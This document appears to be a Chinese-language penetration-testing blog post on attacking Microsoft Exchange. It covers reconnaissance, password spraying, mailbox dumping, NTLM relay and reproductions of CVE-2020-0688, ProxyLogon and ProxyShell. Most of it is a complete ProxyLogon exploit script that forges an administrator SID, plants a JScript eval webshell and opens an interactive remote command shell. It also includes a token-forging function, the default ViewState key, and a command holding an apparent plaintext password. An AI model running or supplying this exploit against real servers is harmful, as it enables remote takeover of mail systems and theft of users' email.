Contents

Exchange笔记

认识Exchange

1. 邮件服务器角色(Server Role)

Exchange Server 2010包含五个服务器角色,而在Exchange Server 2013版本中精简到了三个服务器角色:

  • 邮箱服务器: 负责认证、重定向、代理来自外部不同客户端的访问请求,主要包含客户端访问服务(Client Access Service)和前端传输服务(Front End Transport Service)两大组件。
  • 客户端访问服务器: 托管邮箱、公共文件夹等数据,主要包含集线传输服务(Hub Transport Service)和邮箱传输服务(Mail Transport Service)两大组件服务。
  • 边缘传输服务器: 负责路由出站与入站邮件、策略应用等。

2. 客户端/远程访问接口和协议

endpoint 说明
/autodiscover Exchange Server 2007推出的一项自动服务,用于自动配置用户在outlook中邮箱的相关设置,简化用户登录使用邮箱的流程
/ecp (Exchange Control Panel) Exchange管理中心,管理员用于管理组织中的Exchange的Web控制台
/ews (Exchange Web Service, SOAP-over-HTTP) 实现客户端与服务端之间基于HTTP的SOAP交互
/mapi (MAPI-over-HTTP, MAPI/HTTP) Outlook连接Exchange的默认方式,在2013和2013之后开始使用
/Microsoft-Server-ActiveSync 用于移动应用程序访问电子邮件
/OAB (Office Address Book) 用于为Outlook客户端提供地址簿,减轻Exchange的负担
/owa (Outlook Web App) Exchange owa接口,用于通过web应用程序访问邮件
/poweshell 用于服务器管理的Exchange管理控制台
/eac (Exchange Administrator Center) Exchange管理中心,是组织中的Exchange的web控制台

Exchange服务发现

1. 基于端口扫描发现

Exchange需要多个服务与功能组件之间相互依赖,所以服务器会开放多个端口对外提供服务。但是利用nmap进行端口扫描寻找Exchange服务器需要与主机进行交互,会产生大量的通信流量,造成IDS报警并且在目标服务器留下大量的日志。

1
nmap -A -O -sV -v 192.168.159.128

https://s1.ax1x.com/2022/08/22/v6aosf.png nmap 命令解析

1
2
3
-A		开启操作系统和版本检测,脚本扫描以及路径信息
-O		开启操作系统检测
-sV 	通过开放端口决定服务和版本信息

2. SPN查询

服务主体名称(SPN)是Kerberos客户端用于唯一标识给特定Kerberos目标计算机的服务实例名称。服务主体名称是服务实例(可以理解为一个服务,比如HTTP、MSSQL和EXCHANGE)的唯一标识符。Kerberos身份验证将使用SPN将服务实例与服务登录账户相关联。

1
setspn.exe -T zesiar0.com -F -Q */*

https://s1.ax1x.com/2022/08/21/vyscxs.png SPN是启用Kerberos的服务所注册的便于KDC查找的服务名称,这些SPN名称信息被记录在活动目录数据库中,只要服务安装完成,这些SPN名称就已经存在除非卸载或者删除,SPN名称查找与当前服务是否启动没有关系(如Exchange服务器的IMAP/POP等部分服务器默认是不启动的,但其SPN名称依然存在)

Exchange渗透

没有Exchange凭据的情况

Exchange暴力破解

在企业域环境中,Exchange与域服务集合,域用户账号密码就是Exchange邮箱的账户密码。如果通过暴力手段成功获取了用户邮箱密码,在通常情况下也就间接获得了域用户密码。 Autodiscover自动发现服务使用Autodiscover.xml配置文件来对用户进行自动设置,获取该自动配置需要用户认证。 https://s1.ax1x.com/2022/08/22/v6aTL8.png MailSniper提供了分别针对OWA接口、EWS接口和ActiveSync接口的password spray。 https://s1.ax1x.com/2022/08/22/v6aHeS.png

泄露内网信息

  1. 泄露Exchange服务器操作系统,主机名和Netbios名

在type2返回challenge的过程中,同时返回了操作系统类型,主机名,netbios名等等,这就意味着给服务器发送一个type1的请求,服务器返回type2的响应。 https://s1.ax1x.com/2022/08/22/v6abdg.png

有Exchange凭据的情况

导出邮箱列表

  1. 利用MailSniper
1
2
3
4
5
6
// 首先导入MailSniper.ps1
Import-Module .\\MailSniper.ps1

// 再利用MailSniper导出邮箱列表
Get-GlobalAddressList -ExchHost MAIL -UserName domain\username  -Password password -Ou
tFile litst.txt

https://s1.ax1x.com/2022/08/22/v6aqoQ.png

  1. 利用ruler
1
2
.\\ruler-win64.exe --insecure --url https://localhost/autodiscover/autodiscover.xml --email administrator@zesia
r0.com -u administrator -p zengjiahua..123 --verbose --debug abk dump -o ruler_list.txt

但是我在windows server 2016上实验时,会报出错误,暂时还未解决

1
2
panic: runtime error: invalid memory address or nil pointer dereference
[signal 0xc0000005 code=0x0 addr=0x50 pc=0x1258af2]
  1. 利用impacket
1
2
3
impacket-exchanger DOMAIN/USERNAME:PASSWORD@MAIL nspi list-tables

impacket-exchanger DOMAIN/USERNAME:PASSWORD@MAIL nspi dump-tables -guid GUID

https://s1.ax1x.com/2022/08/21/vys4aT.png

检索邮件内容

攻击者可以利用MailSniper在获得合法凭证之后,通过检索邮箱文件夹来尝试发现和窃取包含敏感信息的邮件数据。在中文环境下,需要指定目录为中文的“收件箱”

1
Invoke-SelfSearch -Mailbox Administrator@zesiar0.com -Terms *test* -Folder 收件箱 -remote

https://s1.ax1x.com/2022/08/21/vysoiF.png 注意:这里需要加上-remote选项输入用户凭据(不知道为什么其他文章没有提到)

NTLM 中继

NTLM中继攻击,是指攻击者在NTLM交互过程中充当中间人的角色,在请求认证的客户端与服务端之间传递交互信息,将客户端提交的Net-NTLM哈希截获并随后将其重放到认证目标方,以中继重放的中间人攻击实现无需破解用户名密码而获取权限。

我先以test用户登录,给administrator用户发一封邮件 https://s1.ax1x.com/2022/08/21/vysTG4.png 再在攻击机上启动responder监控eth0网卡 https://s1.ax1x.com/2022/08/21/vysHz9.png 再登录administrator假装点击邮件,responder接受到NTLMv2 hash https://s1.ax1x.com/2022/08/22/v6aOij.png

Exchange漏洞复现

CVE-2020-0688

影响范围

  • Microsoft Exchange Server 2010 Service Pack 3
  • Microsoft Exchange Server 2013
  • Microsoft Exchange Server 2016
  • Microsoft Exchange Server 2019

漏洞原理

Exchange Server在默认安装的情况下,validationKey和decryptionKey都是相同的,攻击者可以利用静态密钥对服务器发起攻击,在服务器中以SYSTEM权限远程执行代码。

ViewState概述

ViewState机制时ASP.NET中对同一个Page的多次请求(PostBack)之间维持Page及控件状态的一种机制。在WebForm中,每次请求都会存在客户端和服务器之间的一个交互。如果请求完成之后将一些信息传回客户端,下次请求的时候客户端再将这些状态信息提交给服务器,服务器端对这些信息使用和处理,再将这些信息传回给客户端,这就是ViewState的基本工作模式。ViewState的设计目的就是为了将必要的信息持久化在页面中,这样就可以通过ViewState在页面回传的过程中保存状态值。 关于ViewState反序列化详细解释: https://paper.seebug.org/1386/#3-webconfig-viewstate

利用过程

因为Exchange Server在默认的配置下validationKey和decryptionKey分别表示校验和加密所用的密钥,且都是硬编码。 https://s1.ax1x.com/2022/08/22/v6aXJs.png 所以利用该漏洞只需要

1
2
3
4
--validationkey = CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF(默认)
--validationalg = SHA1(默认)
--generator = B97B4E27(默认)
--viewstateuserkey = ASP.NET_SessionId的值
  1. 以上变量可以通过下图获取:

https://s1.ax1x.com/2022/08/22/v6azQ0.png https://s1.ax1x.com/2022/08/22/v6dpLT.png

  1. 利用ysoserial.exe生成恶意的viewstate

https://s1.ax1x.com/2022/08/21/vysqMR.png

  1. 之后再访问构造好的url
1
/ecp/default.aspx?__VIEWSTATEGENERATOR=<generator>&__VIEWSTATE=URLENCODE(<ViewState>)

CVE-2021-26855

影响范围

  • Exchange Server 2019 < 15.02.0792.010
  • Exchange Server 2019 < 15.02.0721.013
  • Exchange Server 2016 < 15.01.2106.013
  • Exchange Server 2013 < 15.00.1497.012

漏洞原理

Microsoft.Exchange.FrontEndHttpProxy.dll未有效校验Cookie中可控的X-BEResource,后续处理中结合.NET的UrlBuilder类特性造成SSRF。exchange会对X-BEResource~为分隔符分为一个数组array,array[0]为Fqdn,array[1]为version;如果version小于E15MinVersion,则会进入判断语句,并将变量ProxyToDownLevel赋值为True,之后会调用身份认证函数EcpProxyRequestHandler.AddDownLevelProxyHeaders进行身份认证;如果veesion大于E15MinVersion则跳出if判断从而绕过身份认证。

利用过程

  1. 限定路径,路径格式必须是/ecp/xxx.(js/png/..)
  2. 构造X-BEResource~前面部分为需要SSRF访问的url,后面部分为大于E15MinVersion

https://s1.ax1x.com/2022/08/22/v6dPwF.png

CVE-2021-27065

影响范围
  • Exchange Server 2019 < 15.02.0792.010
  • Exchange Server 2019 < 15.02.0721.013
  • Exchange Server 2016 < 15.01.2106.013
  • Exchange Server 2013 < 15.00.1497.012
漏洞原理

Microsoft.Exchange.Management.DDIService.WriteFileActivity未校验文件后缀,可由文件内容部分可控的相关功能写入webshell。

利用过程
  1. 请求EWS,从X-CalculationBETarget响应头获取域名

https://s1.ax1x.com/2022/08/22/v6dkFJ.png

  1. 利用邮箱用户名,请求Autodiscover获取配置中的LegacyDN https://s1.ax1x.com/2022/08/21/vysLs1.png

  2. 利用MAPI over HTTP请求引发Microsoft.Exchange.RpcClientAccess.Server.LoginPermException获取SID

  3. 替换尾部RID为500伪造管理员SID,由ProxyLogonHandler获取管理员身份ASP.NET_SessionIdmsExchCanary

  4. 通过DDI组件Getlist接口获取RawIdentity

  5. 利用外部URL虚拟路径属性引入Webshell

  6. 最后出发重置时的备份功能,将文件写入指定的UNC目录

注意:webshell的内容需要规避会被URL编码的特殊字符,且字符长度不能超过255 可以利用以下python脚本进行自动化测试

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
# -*- coding: utf-8 -*-
import requests
from urllib3.exceptions import InsecureRequestWarning
import random
import string
import argparse
import sys
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)


fuzz_email = ['administrator', 'webmaste', 'support', 'sales', 'contact', 'admin', 'test',
              'test2', 'test01', 'test1', 'guest', 'sysadmin', 'info', 'noreply', 'log', 'no-reply']

proxies = {}
user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36"

shell_path = "Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\owa\\auth\\test11.aspx"
shell_absolute_path = "\\\\127.0.0.1\\c$\\%s" % shell_path
# webshell-马子内容
shell_content = '<script language="JScript" runat="server"> function Page_Load(){/**/eval(Request["code"],"unsafe");}</script>'

final_shell = ""

def id_generator(size=6, chars=string.ascii_lowercase + string.digits):
    return ''.join(random.choice(chars) for _ in range(size))




if __name__=="__main__":
    parser = argparse.ArgumentParser(
        description='Example: python exp.py -u 127.0.0.1 -user administrator -suffix @ex.com\n如果不清楚用户名,可不填写-user参数,将自动Fuzz用户名。')
    parser.add_argument('-u', type=str,
                        help='target')
    parser.add_argument('-user',
                        help='exist email', default='')
    parser.add_argument('-suffix',
                        help='email suffix')
    args = parser.parse_args()
    target = args.u
    suffix = args.suffix
    if suffix == "":
        print("请输入suffix")

    exist_email = args.user
    if exist_email:
        fuzz_email.insert(0, exist_email)
    random_name = id_generator(4) + ".js"
    print("目标 Exchange Server: " + target)

    for i in fuzz_email:
        new_email = i+suffix
        autoDiscoverBody = """<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
    <Request>
      <EMailAddress>%s</EMailAddress> <AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema>
    </Request>
</Autodiscover>
""" % new_email
        # print("get FQDN")
        FQDN = "EXCHANGE01"
        ct = requests.get("https://%s/ecp/%s" % (target, random_name), headers={"Cookie": "X-BEResource=localhost~1942062522",
                                                                            "User-Agent": user_agent},
                      verify=False, proxies=proxies)

        if "X-CalculatedBETarget" in ct.headers and "X-FEServer" in ct.headers:
            FQDN = ct.headers["X-FEServer"]
            print("got FQDN:" + FQDN)

        ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
            "Cookie": "X-BEResource=%s/autodiscover/autodiscover.xml?a=~1942062522;" % FQDN,
            "Content-Type": "text/xml",
            "User-Agent": user_agent},
            data=autoDiscoverBody,
            proxies=proxies,
            verify=False
        )

        if ct.status_code != 200:
            print(ct.status_code)
            print("Autodiscover Error!")

        if "<LegacyDN>" not in str(ct.content):
            print("Can not get LegacyDN!")
        try:
            legacyDn = str(ct.content).split("<LegacyDN>")[
                1].split(r"</LegacyDN>")[0]
            print("Got DN: " + legacyDn)

            mapi_body = legacyDn + \
                "\x00\x00\x00\x00\x00\xe4\x04\x00\x00\x09\x04\x00\x00\x09\x04\x00\x00\x00\x00\x00\x00"

            ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
                "Cookie": "X-BEResource=Administrator@%s:444/mapi/emsmdb?MailboxId=f26bc937-b7b3-4402-b890-96c46713e5d5@exchange.lab&a=~1942062522;" % FQDN,
                "Content-Type": "application/mapi-http",
                "X-Requesttype": "Connect",
                "X-Clientinfo": "{2F94A2BF-A2E6-4CCCC-BF98-B5F22C542226}",
                "X-Clientapplication": "Outlook/15.0.4815.1002",
                "X-Requestid": "{E2EA6C1C-E61B-49E9-9CFB-38184F907552}:123456",
                "User-Agent": user_agent
            },
                data=mapi_body,
                verify=False,
                proxies=proxies
            )
            if ct.status_code != 200 or "act as owner of a UserMailbox" not in str(ct.content):
                print("Mapi Error!")
                exit()

            sid = str(ct.content).split("with SID ")[
                1].split(" and MasterAccountSid")[0]

            print("Got SID: " + sid)
            sid = sid.replace(sid.split("-")[-1], "500")

            proxyLogon_request = """<r at="Negotiate" ln="john"><s>%s</s><s a="7" t="1">S-1-1-0</s><s a="7" t="1">S-1-5-2</s><s a="7" t="1">S-1-5-11</s><s a="7" t="1">S-1-5-15</s><s a="3221225479" t="1">S-1-5-5-0-6948923</s></r>
            """ % sid

            ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
                "Cookie": "X-BEResource=Administrator@%s:444/ecp/proxyLogon.ecp?a=~1942062522;" % FQDN,
                "Content-Type": "text/xml",
                "msExchLogonMailbox": "S-1-5-20",
                "User-Agent": user_agent
            },
                data=proxyLogon_request,
                proxies=proxies,
                verify=False
            )
            if ct.status_code != 241 or not "set-cookie" in ct.headers:
                print("Proxylogon Error!")
                exit()

            sess_id = ct.headers['set-cookie'].split(
                "ASP.NET_SessionId=")[1].split(";")[0]

            msExchEcpCanary = ct.headers['set-cookie'].split("msExchEcpCanary=")[
                1].split(";")[0]
            print("Got session id: " + sess_id)
            print("Got canary: " + msExchEcpCanary)

            ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
                # "Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/GetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
                # FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),

                "Cookie": "X-BEResource=Admin@{server_name}:444/ecp/DDI/DDIService.svc/GetList?reqId=1615583487987&schema=VirtualDirectory&msExchEcpCanary={msExchEcpCanary}&a=~1942062522; ASP.NET_SessionId={sess_id}; msExchEcpCanary={msExchEcpCanary1}".
                            format(server_name=FQDN, msExchEcpCanary1=msExchEcpCanary, sess_id=sess_id,
                                    msExchEcpCanary=msExchEcpCanary),
                            "Content-Type": "application/json; charset=utf-8",
                            "msExchLogonMailbox": "S-1-5-20",
                            "User-Agent": user_agent

                            },
                            json={"filter": {
                                "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
                                                "SelectedView": "", "SelectedVDirType": "OAB"}}, "sort": {}},
                            verify=False,
                            proxies=proxies
                            )

            if ct.status_code != 200:
                print("GetOAB Error!")
                exit()
            oabId = str(ct.content).split('"RawIdentity":"')[1].split('"')[0]
            print("Got OAB id: " + oabId)

            oab_json = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
                        "properties": {
                            "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
                                        "ExternalUrl": "http://ffff/#%s" % shell_content}}}

            ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
                "Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
                    FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
                "msExchLogonMailbox": "S-1-5-20",
                "Content-Type": "application/json; charset=utf-8",
                "User-Agent": user_agent
            },
                json=oab_json,
                proxies=proxies,
                verify=False
            )
            if ct.status_code != 200:
                print("Set external url Error!")
                exit()

            reset_oab_body = {"identity": {"__type": "Identity:ECP", "DisplayName": "OAB (Default Web Site)", "RawIdentity": oabId},
                            "properties": {
                                "Parameters": {"__type": "JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel",
                                                "FilePathName": shell_absolute_path}}}

            ct = requests.post("https://%s/ecp/%s" % (target, random_name), headers={
                "Cookie": "X-BEResource=Administrator@%s:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=%s&a=~1942062522; ASP.NET_SessionId=%s; msExchEcpCanary=%s" % (
                    FQDN, msExchEcpCanary, sess_id, msExchEcpCanary),
                "msExchLogonMailbox": "S-1-5-20",
                "Content-Type": "application/json; charset=utf-8",
                "User-Agent": user_agent
            },
                json=reset_oab_body,
                proxies=proxies,
                verify=False
            )

            if ct.status_code != 200:
                print("写入shell失败")
                exit()
            shell_url = "https://"+target+"/owa/auth/test11.aspx"
            print("成功写入shell:" + shell_url)
            print("下面验证shell是否ok")
            print('code=Response.Write(new ActiveXObject("WScript.Shell").exec("whoami").StdOut.ReadAll());')
            print("正在请求shell")
            import time
            time.sleep(1)
            data = requests.post(shell_url, data={
                                "code": "Response.Write(new ActiveXObject(\"WScript.Shell\").exec(\"whoami\").StdOut.ReadAll());"}, verify=False, proxies=proxies)
            if data.status_code != 200:
                print("写入shell失败")
            else:
                print("shell:"+data.text.split("OAB (Default Web Site)")
                    [0].replace("Name                            : ", ""))
                print('[+]用户名: '+ new_email)
                final_shell = shell_url
                break
        except:
            print('[-]用户名: '+new_email)
            print("=============================")
    if not final_shell:
        sys.exit()
    print("下面启用交互式shell")
    while True:
        input_cmd = input("[#] command: ")
        data={"code": """Response.Write(new ActiveXObject("WScript.Shell").exec("cmd /c %s").stdout.readall())""" % input_cmd}
        ct = requests.post(
            final_shell,
            data=data,verify=False, proxies=proxies)
        if ct.status_code != 200 or "OAB (Default Web Site)" not in ct.text:
            print("[*] Failed to execute shell command")
        else:
            shell_response = ct.text.split(
                "Name                            :")[0]
            print(shell_response)

CVE-2021-26855与CVE-2021-27065一起使用就是ProxyLogon,可以不需要邮箱用户的凭证就可以实现RCE

CVE-2021-34473

影响范围

  • Exchange Server 2013 < Apr21SU
  • Exchange Server 2016 < Apr21SU < CU21
  • Exchange Server 2019 < Apr21SU < CU10

漏洞原理

HttpProxy\EwsAutodiscoverProxyRequestHandler.cs的·GetClientUrlForProxy函数中剔除absoluteUri中的this.explicitLogonAddress,而this.explicitLogonAddress的取值来自(GET|POST|Cookie|Server)请求中Email的值,但是需要满足RequestPathParser.IsAutodiscoverV2PreviewRequest()的返回值为true,这个则是检查路径中是否存在/autodiscove.json

利用过程

  1. 构造URL https://192.168.159.131/autodiscover/autodiscover.json?@foo.com/mapi/nspi/?&Email=autodiscover/autodiscover.json%3f@foo.com

https://s1.ax1x.com/2022/08/22/v6dZS1.png

  1. 利用exchange的autodiscover服务可以用来查找高权限用户的配置文件,首先需要获取legacyDn属性,再利用这个属性+末尾添加不可见字符可以获得目标用户的sid。获得了用户的sid后就可以使用目标用户的权限来访问ews的api从而实现恶意操作。这一步和proxyLogon中是一样的。

CVE-2021-34523

影响范围

  • Exchange Server 2013 < Apr21SU
  • Exchange Server 2016 < Apr21SU < CU21
  • Exchange Server 2019 < Apr21SU < CU10

漏洞原理

Exchange Powershell Remoting是一个基于WSMan协议的一个服务,可以执行一些特定的powershell命令,实现的功能有发邮件、读邮件、更新配置文件等,使用前提是使用者具有邮箱。所以,如果利用前面的ssrf来访问powershell接口是不会成功的,因为system是没有邮箱 的。接下来,就需要先解决身份认证问题。因为在ShouldCopyHeaderToServerRequest方法中会过滤一些自定义请求头,其中就包括校验身份的X-CommonAccessToken。 在Microsoft.Exchange.Configuration.RemotePowershellBackendCmdletProxyModule.dll中,有个用户可控的输入点X-Rps-CAT。当X-CommonAccessToken请求头为空时,会从X-Rps-CAT中读取数据,这个数据经过处理后会赋给X-CommonAccessToken

利用过程

利用以下python代码可以生成token

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
def gen_token(uname, sid):
    version = 0
    ttype = 'Windows'
    compressed = 0
    auth_type = 'Kerberos'
    raw_token = b''
    gsid = 'S-1-5-32-544'
    
    version_data = b'V' + (1).to_bytes(1, 'little') + (version).to_bytes(1, 'little')
    type_data = b'T' + (len(ttype)).to_bytes(1, 'little') + ttype.encode()
    compress_data = b'C' + (compressed).to_bytes(1, 'little')
    auth_data = b'A' + (len(auth_type)).to_bytes(1, 'little') + auth_type.encode()
    login_data = b'L' + (len(uname)).to_bytes(1, 'little') + uname.encode()
    user_data = b'U' + (len(sid)).to_bytes(1, 'little') + sid.encode()
    group_data = b'G' + pack('<II', 1, 7) + (len(gsid)).to_bytes(1, 'little') + gsid.encode()
    ext_data = b'E' + pack('>I', 0) 
    
    raw_token += version_data
    raw_token += type_data
    raw_token += compress_data
    raw_token += auth_data
    raw_token += login_data
    raw_token += user_data
    raw_token += group_data
    raw_token += ext_data
    
    data = base64.b64encode(raw_token).decode()
    
    return data

CVE-2021-31207

影响范围

  • Exchange Server 2013 < May21SU
  • Exchange Server 2016 < May21SU < CU21
  • Exchange Server 2019 < May21SU < CU10

漏洞原理

用户在认证之后,可以写入任意后缀文件

利用过程

结合上面的漏洞,用户首先通过ssrf漏洞访问powershell接口,利用该接口导出邮件到指定web目录下。但是这样还存在一个问题,导出的邮件是pst编码的,所以需要再提前编码一次。

CVE-2021-34473,CVE-2021-31207和CVE-2021-34523一起来利用就是proxyshell,最终可以实现rce。 利用脚本: https://github.com/horizon3ai/proxyshell